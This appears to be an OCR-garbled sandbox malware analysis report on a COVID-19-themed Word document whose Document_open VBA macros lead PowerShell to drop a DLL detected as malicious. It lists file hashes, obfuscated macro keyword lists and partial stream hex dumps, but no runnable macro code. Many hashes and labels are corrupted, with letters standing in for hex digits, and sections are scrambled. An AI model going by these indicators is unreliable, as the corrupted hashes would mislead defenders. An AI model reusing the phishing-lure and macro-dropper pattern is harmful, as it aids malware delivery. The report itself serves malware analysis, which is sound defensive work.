https://view.joesandbox.com/analysis/250119/html/none?idtype=webid
https://view.joesandbox.com/analysis/250080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250080/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{452ACF7A-211A-44E2-8F1B-AC77A8685DB1}.tmp

Preview:

ool lonsonloonCors ool DLULS e Ao oo oo oo e e e e oo e eeseeee e e

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B4FD77F3-97C0-4A14-814E-1968BCE52029}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

high, very likely benign file

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\lU-8549 Medical report COVID-19.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Aug 26 14:08:15 2020,
atime=Thu Feb 18 05:56:32 2021, length=172032, window=hide

dropped

2238

4.557455295271099

false

48:8mm/XT0jF1oe/7J08e/k+Qh2mm/XTOjF1oe/7J08e/k+Q/:85/X0jF1oe08e8+Qh25/XojF10e08e89

CB8E751FB9A57C3D271680235A84491E9

5DD21C8CCDB4B52C1B8790B285107DC734206C61

790F5177DB2CC779F97704E7609BF1FF5431F91612C00167F1BD1056A59755DB
77B591590030F43CF9388D5634DBBAABFI0CAFC50F2A05F4FF6D26527CCD6B634D59431B7322BA4E6FODFD9B139410562F24F706625757D185BE32B81B6F91EC
false

low

Fo 7h.{.7h.{..%.0.ccceerne
.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&

....P.O. .ii.....+00.../C:\.
Ui Albus.z 1

............ t.1.....QK.X..Users.".
.Q.y..Desktop.d......QK.X.Q.y*.

..Users.@.s.hell3.2.dll,.-
.D.essk.to.p.@.s.hell3.2.dll,.-2

.1.7.6.9......2....RR.7 .IU-854~1.DOC. t....... Qy.Qy*.8.....ccceeveeeenU-85.4.9. Meed.ical rep.ort .COV.ILD.-1.9..d0.Cccerrrrnnccem 8 [ 200

...C:\Users\..#.
.C.0.V.l.D.-.1.9...d.o.c.

.\\818225\Users.user\Desktop\IU-8549 Medical report COVID-19.doc.:.....\.. .. D.e.s.k.t.o.p.\.1.U.-.8.5.4.9. M.e.d.i.c.al. .re.p.or.t.
1SPS.XF.L8C....&m.m............~...5.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

131

4.987781475184533

false
3:M1R70ILQSjmIfFu4009dEOILQSjmIfFu4omX1R70ILQS|mIfFu4ov:MbOILYIfinEOILYIfj10ILylfiy
C9F0C74D1BCAF808FB96B6DIDD400032
AB89073DBBDD26CFE3DA92680022E006B5FB6IEF2
1DDF70A865248BDA1FC8C3815FE3DE223492A35EDCABE8SBB5B052DEGIB87C262

BBBF845983C9AASE2FA9F25A99ACABD032118CD13E7A097C4E4BO7F7B855AF4F10616368C7COD88ACAB35FA386FDB3BC3EGA7A4BBBDC759A326CDD24967F1
FD

false

[doc]..IU-8549 Medical report COVID-19.LNK=0..I1U-8549 Medical report COVID-19.LNK=0..[doc]..|U-8549 Medical report COVID-19.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:

File Type:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data
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C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Category: dropped
Size (bytes): 162
Entropy (8bit): 2.431160061181642
Encrypted: false
SSDEEP: 3:vrJlaCkWtVyokKOg5GII3GWSKG/f2+1/In:vdsCkWtw21I1D9I
MD5: 39EB3053A717C25AF84D576F6B2EBDD2
SHAL: F6157079187E865C1BAADCC2014EF58440D449CA
SHA-256: CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A
SHA-512: 5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBOEEBDF4AF6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BABI02891
C
Malicious: false
Preview:
USET ... Alb.us............. | IO Weiiiniirens Weiiiiines PW. W..ooZoonn W....X...

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BI6L7G7Y2Q0OZYJA29CWB.temp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5868168732363137

Encrypted: false

SSDEEP: 96:chQCsMgiqvsqvJCwoQz8hQCsMgiqvsEHyqvJCworezv1YfHv8OsIUVKIu:cyvoQz8yTHnorezvQf80ilu

MD5: 8DF3597FC8CA92C4E63FFBEB821BIAD1

SHAL: EE4A843C8CAE2C74010E27B1DE46913B9EAS3AFF

SHA-256: 23C71143C88BD3BCCCY63DA5A454A77166EB32DC11A750897D414511EA606BED

SHA-512: 8AE71FDB265766BA88E1316F22C23328159A89D111479FC056F7D6EA4D6AA3AAA3F7ES59BF49AEF2054BC70AAAD721E606126D479563C69B6B6D3F620E96823F

Malicious: false

Preview:
WFL.. LF.....8.D..xq{D...xq.{D...k .P.O. .ii....+00.../C! A1...{J\. PROGRA~3..D ..k, P.ro
gram.D.ata...X1...~Jv. MICROS~1.@... ~JvEL M..cros.oft.. . .R.1..wJ;. Windows.<. :((

W) W.ind.ows.....1
..@....Start. .M.e.n.u..@.s.hell3.2.dll,.-21786...~1...Pf.Programs.f..... ..Pro.grams..@.she.l

LSTARTM~L. oK
1.3.2..d.ll,.-.2.1.7.8.2.......1.... xJu=..ACCESS~1..I........wJr*...................B....A.c.c.e.s.s.o.ries..@.s.hell3.2..dll .WINDOW~1..R
.................. W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll...v.2k......, WINDOW~2.LNK..Z.........,....*...= e WeinudLoowLs .

C:\Users\user\Desktop\~$-8549 Medical report COVID-19.doc

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyokKOg5GII3GWSKG/f2+1/In:vdsCkWtwW2111D9I

MD5: 39EB3053A717C25AF84D576F6B2EBDD2

SHAL: F6157079187E865C1BAADCC2014EF58440D449CA

SHA-256: CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

SHA-512: 5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBIEEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C

Malicious: false

Preview:
USET ...t Alb.us............. | IO Weiiiiiirens Weiiiiines PW. W..ooZonn W....X...

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 348504

Entropy (8bit): 4.292535319096508

Encrypted: false

SSDEEP: 3072:avA1p08REQAIVEd2gG/vNIo0JFx/pANyCmMOPQEKR/INXHWP:a206XWgGXLXWN40PDKR/InX2P

MD5: 1A94E3824866ACD3C565215AAC04C69B

SHAL: F91A9CADBO9F22A22B93732E09FBAASDC8B6901B

SHA-256: ABCFC9CD109EB8B287C9544663CE707DDIFA1AFOFC6CAB1F67708F60CD23A63F

SHA-512: 6B68051ADB5CIOF532EE5F43DD49E730418AF9F92125DDEEID2CFFA4B0148AAF8F73046EDDB335BD12AFE47ABE13A15AB6B6C02BB70F2758C12A6AE607BB39¢
20

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 46%, Browse
e Antivirus: ReversingLabs, Detection: 93%
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https://www.metadefender.com/#!/results/file/bzIxMDEyNDk4cWVaOGJxQlExQ0ZMRzN5aUY/regular/analysis

Preview:

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "IU-8549 Medical report COVID-19.doc"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Copyright null 2021

P...
coeee . rdatal WP <.
.@.text5..d..

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Rubber Berkshire Credit Card Account generate
engage Cambridgeshire Uganda Shilling Auto Loan Ac
count object-oriented online Lead, Author: Sara Ozuna,
Template: Normal.dotm, Revision Number: 1, Name of
Creating Application: Microsoft Office Word, Create Ti
me/Date: Fri Jan 22 16:11:00 2021, Last Saved Time
/Date: Fri Jan 22 16:11:00 2021, Number of Pages: 1,
Number of Words: 3367, Number of Characters: 19194,
Security: 8

6.723891422776511

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

1U-8549 Medical report COVID-19.doc

171008

be33bce1030d367cf23727936fc1fbfd
2731bb3115108d14d2a4d5abd49aef32468961c9

843ac5a5070a8f77eeb150cf7963ea5a66dd5763b0e3act
d775333219fa5b773

fb9a8dB8elee8876e79df1702775867bba0406bcfefb102a
738abachce8e5cde21d24e97b7214fcd6a524c31b12b641
5ff764dal7e30b2a4clal31d328fa85cla

3072:jwT4AOAEDCkss1NKYtWr7Agf5k9jySTderrXyQBsc
OvWJVidirwVuYbdYPeFmfG5i:;jwT4AOAEDCkss1NKYtWr
7Agf5k9jyTPI3

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True
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Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:

Thumbnail Scaling Desired:

Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Dulz0g2a3qqdjsty7, Stream Size: 25190

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

aOIKG
FgPJRJIEIR,
tLOwC
SeKgFAFNv

Until

OYITFEt
msHCWHCAt
GnngWGPGJ
gYFIC
NswmEPELA.Range
vrXECqWF.Range
EeuJHEHF
PyJKHIE,
aMigITVGL
lexHPB:

vajlM

okSXVy

Copyright null 2021

1252

Rubber Berkshire Credit Card Account generate engage Cambridgeshire Uganda Shilling
Auto Loan Account object-oriented online Lead

Sara Ozuna

Normal.dotm

1

0

2021-01-22 16:11:00
2021-01-22 16:11:00
1

3367

19194

Microsoft Office Word
8

-535
159
45

False

False
False
False

917504

Macros/VBA/Dulz0g2a3qqdjsty7
Dulz0g2a3qqdjsty7
25190

01 16 01 00 00 fO 00 00 00 6¢ 10 00 00 d4 00 00 00 b8 01 00 00 ff ff ff ff 74 10 00 00 e0 48 00
00 00 00 00 00 01 00 00 00 fa 62 ff 18 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword
AtZVIBKE
GcgMIFBS
QqMgHpfGB,
qucrJCEBY,
QntVIZAdD,
OCclfDa
gqPVaAz
pivagYJ(iPrzl)
(rqgaveCGz
cxLJIGID
USfrGE

beeZpf:
rqaveCGz,
pWDVU
BfQQFX,
(FfmNDT
FTLagR
WDyUCG
KUSKBEC,
QGvuB
MidB$(vLWhdu,
TNoCFZI
hSmgtNpin
njcnja
(KUSKBEC
UBound(QGvuB)
wMDcH
msHCWHCAt(PJULJBb)
(OnZyDDGUB
immQJ:
rpBOJCg,
zxmKGAJHA.Range
PyJKHIE
eKFHKDJw
(USFrGE
pivVggYJ

IPbZa

FkmBAH:
QgMgHpfGB
mvXsJDCI

sXjidl
CuSGXNGI
iXiRFIE

IcgiD
omukcDDAB
VSeBJC
MidB$(KWoNDrl,
UBound(ugTHSC)
luiADKc

FrGcEy
NswmEPELA
KGKICH(TWSLHrEJ)
PJULJBDb,
WotFy

PJULJIBb
euviCGGE
MidB$(QGvuB,
axXyHAY (rjilFB)
iPrzl,
qLAIGc(tLOWC)
fQYMHGCJ.Range
NIEFpmJ
UBound(qLAIGc)
UBound(sX;jiJl)
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Keyword
BygJBD
FfmNDT
hXmVsAl
NDrVK:

tFqUPL

(TyLaL

tLOWC,
cfmpCCej

1ZBck

SeegFDA
HaMJF,
kGKICH()
rGxSBFAmM
IroNB.Range
ezXAHG
IPbZa.Range
wjnsc
LxgTE(mvXsJDCI)
uwljH

UXwvP
FTLagR,
YXxuWVAC

rjilFB
ASXkJEBEJ,
nnjasd,

Resume
SeochBB:
MidB$(gPiUJUCJ,
(tLowc
UApNCTSB()
CEEUVC,
tksEqFXE
dQIimAHCD
(qucrJCEBy
avenCHqCM:
MidB$(euviCGGE,
HtbOAHKIF
KboWwpC
MidB$(sXiiJl,
hSmgtNpln:
xeQgnwEGH.Range
cxLJIGID(FrGceEy)
MidB$(pivVagYJ,
FfmNDT,
ZBLQItWK,
PAPYDG
qLAIGc()
HZrrCCPJ:
uvWvDCq
vLWhdu

UIfQEJ
(1IZwvw
ugTHSC()
InWYD
GnnqWGPGJ,
WE;BXx

WEJjBX,

UBound(msHCWHCAL)

WygyQ
FIHIG
(QqMgHpfGB
SJaMAW
WystvJIDiH
XFQcotHEI

Copyright null 2021
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Keyword
HmdtGfbHA
WotFy,

(ZBLQItWK
(PYJKHIE
IkPbvChTB.Range
MidB$(cxLJIGID,
beoayAGAs
CQXOHIGG
KWOoNDrl
fHEAXGB
UeaVqCIF
MidB$(CuSGXNGlI,
MidB$(UAPNCTSB,
ORVhuHGGD
(FrGcEy

hrhpx

HoycEGGS
lcxHPB
MidB$(msHCWHCAL,
PlYykHypl
MidB$(okSXVy,
(WotFy

mbpdgB
bkRdqzBB
MidB$(ugTHSC,
TyLaL

rpBOJCg
(TWSLHrEJ
TZIFFtB.Range
ORVhuHGGD,
dKpjABOAD
EWwbyEVG.Range
EBcorGpdB
TWSLHreJ

(iPrzl

jKqFehtzP
FgPJRIEIR
avenCHqCM
NIrKo,

VqFNFwx
UBound(YRistJGeF)
HaMJF

nBWRH
UBound(KWoNDrl)
bKFVL

YEfXME:
hfACeBO
WystvJDiH.Range
gPiuUJUCI()
HYfIxGv
eKFHKDJw,
HsSCTGA
zvYxeGGBh:
OYITFEL:
hXmVsAI()
GcgMIFBS,
hXmVsAI(FTLagR)
txnflE

BkCHIMwO
MidB$(qLAIGC,
dNKFVFD:
zxmKGAJHA
VADSpA

YEXZi
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Keyword

KWOoNDrl(GnngWGPGJ)

UBound(CuSGXNGI)
UBound(LxgTE)
UVPjdXBJH
vLWhdu(NIrKo)
dPnKGalH
YEfXME

NIrko
Mid(Application.Name,
bKFVL.Range
euviCGGE()
qLAIGc

kfglYjE:
pivagYJ()
rqaveCGz
eGrzn0OJJ
SeegFDA,
ZBLQItWK
eFdbX:

kvnSBBJ
cEEUVC
FkmBAH
CBOhDJ
sXjiJI(ASXKJEBEJ)
(XFQcotHEI
YeeasmCg
XFQcotHElI,
VADSpA.Range
RSCoIAgA
MIRGG
(QntVIZAdD
ittbnlkB
UBound(vLWhdu)
qpYICE

ipaAe
DEdCJACpO
nZrgFol

(FTLagR
PTIWFW

sXjidl()

JPAOPL
axyHAY

ydHfQ

WolyDI
QntVIZAdD
bjyQsJ

(NIrko

1ZIWVW,
"sadsaccc”
"sasdsacc"”
QGvuB()
GRIeHCUTC:
uwljH,

1jilFB,
msHCWHCAL()
UBound(cxLJIGID)
iXiRFIE(BfQqFX)
lwzPAgE

YRistJGeF(MDLMBAHzC)

euviCGGE(PyJKHIE)
fgxZE

IMxaZeHEA
rdwmZFK,
gPIUJUCI(mXwueE)

Copyright null 2021
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Keyword
MidB$(ipaAe,
arYPBNC
vLWhdu()
VgFNFwx.Range
MidB$(hXmVsAI,
UBound(euviCGGE)
IIO0EHE

UCtihtl

tTUuY

(HaMJF
JQYfEHCFH:
GRIeHCUTC
(gpYICE
ASXkJEBEJ
VB_Name
Word.Paragraph
(rjilFB
UBound(piVagYJ)
YRistIGeF()
(rpBOJCg
IkPbvChTB
(mbpdgB

vajlM:
MidB$(YRistIGeF,
JQYfEHCFH
rdwmZFK
MDLMBAHzC
Content

MIQyJC
SysLpJnC
eFdbX
MidB$(aXyHAY,
LXxgTE

PwKrsSn
KWoNDrl()
NRXsPIGD
mXwuekE,

(uwljH
(ASxkJEBEJ
UQnFD
(cEEUVC
RrOIGJCr
hfACeBO:
(PJULJBb
mXwuekE
gPiuJUC]
MidB$(iXiRFIE,
ipaAe()
UBound(gPiUJUCJ)
FWzgiHG
(MDLMBAHzC
iPrzl

dNKFVFD
kGKICH
(mvXsJDCI
CUSGXNGI()
bJfJIIBEBC
aXyHAY()
HoycEGGS.Range
1ZBck,

TZIFFtB

IPiQsIN
KUSKBEC
beezpf
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Keyword

WmhuJ
UBound(kGKICH)
TPpjQ:
UApPNCTSB(TyLaL)
YRistiGeF
UBound(UApNCTSB)
UBound(ipaAe)
okSXVy(rdwmZFK)
MDLMBAHzC,
BfQgFX
VJBIOEoB
rGxSBFAm.Range
okSXVy()
(rdwmZFK
BvwhhQNB
(1ZBck

oVlizvB
UQnFD.Range
FoVpJCArD
IXIRFIE()
OnZyDDGUB,
OJlopx

yroaOGl
jKgFehtZP.Range
NDrvK

TPpjQ

USfrGE,
Len(skuwd))
qpYICE,
MeewHjDR
MidB$(kGKICH,
CBOhDJ.Range
(WEjBx
XcIBFVfIC
OnZyDDGUB
RrOIGJCr:
uJimytp
MIQyJC.Range
EOBHCBBF
TyLalL,
ukURCshB
mbpdgB,
(ORVhuHGGD
aetYHHHFP
EWwbyEVG

CuSGXNGI(KUSKBEC)

noYAHFJkx
ugTHSC(XFQcotHEI)
(mXwueE

(BfQgFX
ipaAe(SeegFDA)
TWSLHrEJ,
VIXECqQWF
(SeegFDA

dOQMo

YMKAJIp
WONTemEFr
(eKFHKDJw
UBound(hXmVsAl)
immQJ
fQYMHGCJ
UBound(okSXVy)
Mid(skuwd,
OCclfDa.Range
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Keyword
cxLJIGID()
zvYxeGGBh
IroNB
UBound(aXyHAY)
dBfQDv
LxgTE()
1ZIwvw
UBound(iXiRFIE)
HZrrCCPJ
SeochBB

Error
xeQqnwEGH
Puaskfwqwxz_
Attribute
FrGcEy,
kfglYjE
MoAcLJ
yFQRXd
Function
ISVxKAE
vJOKJuk
mvXsJDCI,
qucrJCEBy
XbFndWSCC
MidB$(LxgTE,
(GCgMIFBS
CYtYulw
UApNCTSB
nnjasd
11IShQCGJIH
(GnngWGPGJ
nYfpXuDyH
QGvuB(WotFy)
zllgcDbCD
ugTHSC
(FgPJRIEIR
skuwd

fLCUFFJA

VBA Code

VBA File Name: Hj8dhqrdh_8498, Stream Size: 701

General

Stream Path: Macros/VBA/Hj8dhqgrdh_8498

VBA File Name: Hj8dhqrdh_8498

Stream Size: 701

Data ASCIl: Hoo DN ..
................. X o ME L

Data Raw: 01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 83 02 00

00 00 00 00 00 01 00 00 00 fa 62 4e df 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code
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VBA File Name: Sky5mdbfre3xe7q8, Stream Size: 1115

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Document_open()
False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/VBA/Sky5mdbfre3xe7q8
Sky5mdbfre3xe7q8
1115

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 fa 62 c2 6b 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

\x1CompObj
data

146
4.00187355764
False

........................... F........MSWordDoc.....Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o0.f.t. .W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5Summaryinformation, File Type: data, Stream Size: 540

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.280441275353

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6861

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x5SummaryInformation
data

540

4.09323636422

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 ec 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 60 01 00 00 04 00 00 00 4c 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 d0 00 00 00 09 00

00 00 dc 00 00 00

1Table

data

6861
6.02856268982

True

.6...6...>...6...6...6...6...
.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00

00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00

9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06

00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

76 02 00 00 76 02 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 527

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 152

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6005

General

Stream Path:

File Type:
Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
527

5.49968943522

True

ID="{DC23F361-8975-4E85-B279-15E2D20E140C}"..Docume
nt=Sky5mdbfre3xe7q8/&H00000000..Module=Hj8dhqrdh_849
8..Module=Dulz0g2a3qqdjsty7..ExeName32="Al3mjhlbyhg8x
axav"..Name="DD"..HelpContextID="0"..VersionCompatible3
2="393222000"..CMG="BAB805354339433943394339"

49 44 3d 22 7b 44 43 32 33 46 33 36 31 2d 38 39 37 35 2d 34 45 38 35 2d 42 32 37 39 2d 31
3545 32 44 32 30 45 31 34 30 43 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 53 6b 79 35 6d 64
62 66 72 65 33 78 65 37 71 38 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d
48 6a 38 64 68 71 72 64 68 5f 38 34 39 38 0d Oa 4d 6f 64 75 6¢ 65 3d 44 75 6¢ 7a 30 67 32
61337171646a7374

Macros/PROJECTwm
data

152

3.89422423899

True

Sky5mdbfre3xe7q8.S.k.y.5.m.d.b.f.r.e.3.x.e.7.9q.8...Hj8dhqr
dh_8498.H.j.8.d.h.q.r.d.h._.8.4.9.8...Dulz0g2a3qqdjsty7.D.
u.l.z.0.g.2.a2.3.q.q.d.j.s.t.y.7.....

53 6b 79 35 6d 64 62 66 72 65 33 78 65 37 71 38 00 53 00 6b 00 79 00 35 00 6d 00 64 00 62
00 66 00 72 00 65 00 33 00 78 00 65 00 37 00 71 00 38 00 00 00 48 6a 38 64 68 71 72 64 68
5f 38 34 39 38 00 48 00 6a 00 38 00 64 00 68 00 71 00 72 00 64 00 68 00 5f 00 38 00 34 00
3900 3800000044 75 6¢ 7a 3067 326133717164 6a 737479 370044 00 75 00 6¢ 00
7a 00 30 00 67 00 32 00

Macros/VBA/_VBA_PROJECT
data
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 682

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 114302

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: word, File Type: data, Stream Size: 348

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Copyright null 2021

6005
5.67360235538
True

Bl *\.G.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0
#.C...\.P.R.0O.G.R.A.~.2.\.C.0O.M.M.O.
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L
i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir

data

682

6.42612592717

True

............ o*.....p..H.."..d.....D2.2.4.@.....Z=....b.........N..
a...%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430
- Cl 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.
b#OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C...
).m....10ffic

